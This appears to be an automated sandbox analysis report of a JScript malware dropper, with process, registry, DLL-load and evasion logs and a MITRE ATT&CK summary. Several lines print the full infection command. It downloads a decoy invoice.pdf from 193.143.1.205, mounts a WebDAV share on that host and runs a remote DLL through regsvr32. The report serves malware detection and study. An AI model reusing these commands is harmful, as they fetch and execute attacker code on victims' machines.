Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\349.js.csv");ITextStream.WriteLine(" entry:7636 f:tygvd");ITextStream.WriteLine(" exec:2 f:tygvd");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4272			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5582			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5576	Thread sleep count: 4272 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5576	Thread sleep count: 5582 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 320	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1852	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6692	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6504	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.3401834970.000002162B22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW Y
Source: net.exe, 00000007.00000002.2171334880.000001284FD1B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2171334880.000001284FCB8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3403070787.0000021630A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
